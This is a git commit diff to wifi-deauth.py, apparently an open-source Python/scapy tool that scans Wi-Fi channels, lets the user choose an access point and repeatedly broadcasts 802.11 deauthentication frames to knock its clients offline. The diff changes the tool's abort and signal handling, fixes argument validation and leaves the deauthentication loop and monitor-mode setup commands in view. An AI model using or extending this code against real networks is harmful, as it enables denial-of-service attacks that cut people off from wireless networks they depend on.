fix signal handling

Author: flashnuke

wifi-deauth.py

@@ -1,6 +1,7 @@
 #!/usr/bin/env python3
 
 import copy
+import signal
 import logging
 import argparse
 import traceback
@@ -28,6 +29,8 @@
 
 
 class Interceptor:
+    _ABORT = False
+
     def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssid_name, custom_channels):
         self.interface = net_iface
         self._channel_sniff_timeout = 2
@@ -36,7 +39,6 @@ def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssi
         self._printf_res_intv = 1
         self._ssid_str_pad = 42  # total len 80
 
-        self._abort = False
         self._current_channel_num = None
         self._current_channel_aps = set()
 
@@ -69,7 +71,7 @@ def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager, bssi
     def parse_custom_bssid_name(bssid_name: Union[None, str]) -> Union[None, str]:
         if bssid_name is not None:
             bssid_name = str(bssid_name)
-            if len(bssid_name) != 0:
+            if len(bssid_name) == 0:
                 print_error(f"Custom BSSID name cannot be an empty string")
                 raise Exception("Invalid BSSID name")
         return bssid_name
@@ -78,19 +80,20 @@ def parse_custom_channels(self, channel_list: Union[None, str]):
         ch_list = list()
         if channel_list is not None:
             try:
-                ch_list = channel_list.split(',')
+                ch_list = [int(ch) for ch in channel_list.split(',')]
             except Exception as exc:
                 print_error(f"Invalid custom channel input -> {channel_list}")
                 raise Exception("Bad custom channel input")
 
             if len(ch_list):
+                supported_channels = self._channel_range.keys()
                 for ch in ch_list:
-                    if ch not in self._channel_range:
-                        print_error(f"Custom channel {ch} is not supported by the network interface")
+                    if ch not in supported_channels:
+                        print_error(f"Custom channel {ch} is not supported by the network interface"
+                                    f" {list(supported_channels)}")
                         raise Exception("Unsupported channel")
         return ch_list
 
-
     def _enable_monitor_mode(self):
         for cmd in [f"sudo ip link set {self.interface} down",
                     f"sudo iw {self.interface} set monitor control",
@@ -106,7 +109,6 @@ def _kill_networkmanager():
         print_cmd(f"Running command -> '{BOLD}{cmd}{RESET}'")
         return not os.system(cmd)
 
-
     def _set_channel(self, ch_num):
         os.system(f"iw dev {self.interface} set channel {ch_num}")
         self._current_channel_num = ch_num
@@ -133,6 +135,8 @@ def _ap_sniff_cb(self, pkt):
                     self._custom_bbsid_last_ch = self._all_ssids[band_type][ssid].channel
             else:
                 self._clients_sniff_cb(pkt)  # pass forward to find potential clients
+        except KeyboardInterrupt:
+            self.user_abort()
         except Exception as exc:
             pass
 
@@ -151,14 +155,15 @@ def _scan_channels_for_aps(self):
                 self._set_channel(ch_num)
                 print_info(f"Scanning channel {self._current_channel_num} (left -> "
                            f"{len(channels_to_scan) - (idx + 1)})", end="\r")
-                sniff(prn=self._ap_sniff_cb, iface=self.interface, timeout=self._channel_sniff_timeout)
+                sniff(prn=self._ap_sniff_cb, iface=self.interface, timeout=self._channel_sniff_timeout,
+                      stop_filter=lambda p: Interceptor._ABORT is True)
         except KeyboardInterrupt:
             self.user_abort()
         finally:
             printf("")
 
     def _found_custom_bssid_name(self):
-        for all_channel_aps in self._channel_range.values():
+        for all_channel_aps in self._all_ssids.values():
             for ssid_name in all_channel_aps.keys():
                 if ssid_name == self._custom_bssid_name:
                     return True
@@ -168,10 +173,8 @@ def _custom_bbsid_name_is_set(self):
         return self._custom_bssid_name is not None
 
     def _start_initial_ap_scan(self) -> SSID:
-        print_info(f"Starting AP scan, please wait... ({len(self._channel_range)} channels total)")
-
         self._scan_channels_for_aps()
-        for _, band_ssids in self._all_ssids.items():
+        for band_ssids in self._all_ssids.values():
             for ssid_name, ssid_obj in band_ssids.items():
                 self._channel_range[ssid_obj.channel][ssid_name] = copy.deepcopy(ssid_obj)
 
@@ -191,14 +194,12 @@ def _start_initial_ap_scan(self) -> SSID:
                 printf(f"{pref}{self._generate_ssid_str(ssid_obj.name, ssid_obj.channel, ssid_obj.mac_addr, preflen)}")
         if not target_map:
             print_error("Not APs were found, quitting...")
-            self._abort = True
+            Interceptor._ABORT = True
             exit(0)
 
         printf(DELIM)
 
         chosen = -1
-        if self._custom_bbsid_name_is_set() and self._found_custom_bssid_name():
-            chosen = 0
         while chosen not in target_map.keys():
             user_input = print_input(f"Choose a target from {min(target_map.keys())} to {max(target_map.keys())}:")
             try:
@@ -230,7 +231,7 @@ def _packet_confirms_client(pkt):
 
     def _listen_for_clients(self):
         print_info(f"Setting up a listener for new clients...")
-        sniff(prn=self._clients_sniff_cb, iface=self.interface, stop_filter=lambda p: self._abort is True)
+        sniff(prn=self._clients_sniff_cb, iface=self.interface, stop_filter=lambda p: Interceptor._ABORT is True)
 
     def _run_deauther(self):
         try:
@@ -240,7 +241,7 @@ def _run_deauther(self):
 
             rd_frm = RadioTap()
             deauth_frm = Dot11Deauth(reason=7)
-            while not self._abort:
+            while not Interceptor._ABORT:
                 self.attack_loop_count += 1
                 sendp(rd_frm /
                       Dot11(addr1=BD_MACADDR, addr2=ap_mac, addr3=ap_mac) /
@@ -258,7 +259,7 @@ def _run_deauther(self):
             sleep(self._deauth_intv)
         except Exception as exc:
             print_error(f"Exception in deauth-loop -> {traceback.format_exc()}")
-            self._abort = True
+            Interceptor._ABORT = True
             exit(0)
 
     def run(self):
@@ -275,7 +276,7 @@ def run(self):
         printf(f"{DELIM}\n")
         try:
             start = get_time()
-            while not self._abort:
+            while not Interceptor._ABORT:
                 print_info(f"Target SSID{self.target_ssid.name.rjust(80 - 15, ' ')}")
                 print_info(f"Channel{str(ssid_ch).rjust(80 - 11, ' ')}")
                 print_info(f"MAC addr{self.target_ssid.mac_addr.rjust(80 - 12, ' ')}")
@@ -288,14 +289,18 @@ def run(self):
             print("")
             self.user_abort()
 
-    def user_abort(self):
-        self._abort = True
-        printf(f"{DELIM}")
-        print_error(f"User asked to stop, quitting...")
-        exit(0)
-
+    @staticmethod
+    def user_abort(*args):
+        if not Interceptor._ABORT:
+            Interceptor._ABORT = True
+            printf(f"{DELIM}")
+            print_error(f"User asked to stop, quitting...")
+            exit(0)
 
+# todo custom bbsid name - document "\" espa
 if __name__ == "__main__":
+    signal.signal(signal.SIGINT, Interceptor.user_abort)
+
     printf(f"\n{BANNER}\n"
            f"Make sure of the following:\n"
            f"1. You are running as {BOLD}root{RESET}\n"
@@ -317,10 +322,10 @@ def user_abort(self):
                         default=False, dest="skip_monitormode", required=False)
     parser.add_argument('-k', '--kill', help='kill NetworkManager (might interfere with the process)',
                         action='store_true', default=False, dest="kill_networkmanager", required=False)
-    parser.add_argument('-b', '--bbsid', help='custom BBSID name (case-sensitive)',
+    parser.add_argument('-b', '--bbsid', help='custom BBSID name (case-sensitive)', metavar="bssid_name",
                         action='store', default=None, dest="custom_bbsid", required=False)
-    parser.add_argument('-c', '--channel', help='custom channels to scan, separated by a comma (i.e -> 1,3,4)',
-                        action='store', default=None, dest="custom_channels", required=False)
+    parser.add_argument('-c', '--channels', help='custom channels to scan, separated by a comma (i.e -> 1,3,4)',
+                        metavar="ch1,ch2", action='store', default=None, dest="custom_channels", required=False)
     pargs = parser.parse_args()
 
     invalidate_print()  # after arg parsing